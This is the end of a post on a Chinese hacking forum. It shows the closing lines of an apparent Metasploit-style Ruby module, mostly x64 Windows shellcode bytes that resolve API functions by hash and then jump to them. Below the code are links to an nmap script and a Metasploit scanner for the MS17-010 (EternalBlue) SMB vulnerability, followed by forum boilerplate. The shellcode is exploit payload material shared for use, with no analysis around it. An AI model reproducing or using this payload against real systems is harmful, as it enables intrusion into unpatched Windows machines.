  567.     "\xC2\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00\x00\x48\x01\xD0" +
  568.     "\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48\xFF\xC9\x41\x8B" +
  569.     "\x34\x88\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39\xD9\x75\xEC\x58" +
  570.     "\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C" +
  571.     "\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59\x5A\x41\x58\x41" +
  572.     "\x59\x41\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48\x89\xE5\x48\x83" +
  573.     "\xEC\x20\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF\xFF\x31\xC9\x51" +
  574.     "\x51\x51\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00\x5A\x48\x83\xEC" +
  575.     "\x20\x41\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF\x48\x89\xEC\x5D" +
  576.     "\x41\x5F\x5E\xC3" #\x01\x00\xC3"
  577.   end

  578. end
复制代码
nmap-smb-vuln-ms17-010

https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse


msf_smb_ms17_010

https://raw.githubusercontent.com/rapid7/metasploit-framework/942959f7e8b3dee0031726d166002acae115694e/modules/auxiliary/scanner/smb/smb_ms17_010.rb

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表